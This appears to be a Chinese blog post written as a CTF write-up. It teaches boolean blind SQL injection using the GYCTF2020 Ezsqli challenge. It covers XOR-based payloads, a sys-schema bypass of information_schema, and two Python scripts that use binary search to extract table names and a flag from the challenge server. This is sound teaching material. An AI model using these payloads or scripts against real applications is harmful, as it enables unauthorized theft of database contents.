以题为例 浅谈sql注入布尔盲注

什么是布尔盲注

布尔盲注就是在注入过程中,页面只会返回false和true,不会去返回其它的信息,所以我们不能通过语句查询直接获得数据库的名字,而是通过逻辑获得数据库的信息

布尔盲注常使用函数

length() 返回字符串的长度,例如可以返回数据库名字的长度 
substr() ⽤来截取字符串 
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

只要是盲注,都离不开这些函数

一些常见的payload

length(database())>a //a是可变参数,通过a的大小去获得数据库的长度
ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),i,1))>mid
#sys.x$schema_table_statistics_with_buffer是information_schema.tables的替代品,i和mid是可变参数,通过这个来获取表名

常见的绕过

information_schema.tables表的绕过用sys.x$schema_table_statistics_with_buffer绕过

具体可见Bypass information_schema与无列名注入_无列名注入information_schema平替-CSDN博客

这篇博客

例题

多说无益,以题见真章

[GYCTF2020]Ezsqli

打开题目就可以看到一个注入框,测试一下可以发现它有几种显示,如果是1就会显示Nu1L,如果是0就会显示Error Occured When Fetch Result.,其它的就不测了主要利用的就是这两个点,接下来就是测试如何使用;

测试之后发现有这几种方式可以使用

if(ascii(substr(database(),1,1))>32,1,2)
 
0^(ascii(substr(database(),1,1))>32)
 
(1 && (ascii(substr(database(),1,1))>32))

这几种可以记一下也是比较经常使用的,这道题使用第二种方式异或

先使用异或测试到数据库的长度是21

0^(length(database())=21)

爆数据库的名字payload

1&&substr(database(),1,1)='g'

 以此为例写一个脚本,在这里就不写了

然后开始爆表

#buuctf web ezsqli
from turtle import right
import requests
import time
 
 
url = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
table_name = ""
i = 0
 
 
while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf+right) // 2
        payload = f"0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),{i},1))>{mid})"
        data = {"id":payload}
        res = requests.post(url=url,data=data).text
        if "Nu1L" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        table_name += chr(letf)
        time.sleep(0.2)
        print(table_name)
    else:
        break

爆出表名f1ag_1s_h3r3_hhhhh,users233333333333333

爆flag用比较注入

0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'A'))

脚本

#buuctf web ezsqli
import requests
import time
 
 
url = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
flag = ""
i = 0
 
 
while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        s = flag
        mid = (letf+right) // 2
        s = s + chr(mid)
        payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
        data = {"id":payload}
        res = requests.post(url=url,data=data).text
        if "Nu1L" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf-1)
        print(flag)
        time.sleep(0.2)
    else:
        break

最后记得将爆出的flag换成小写就可以了

如果在发现布尔盲注的题会继续补充;

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值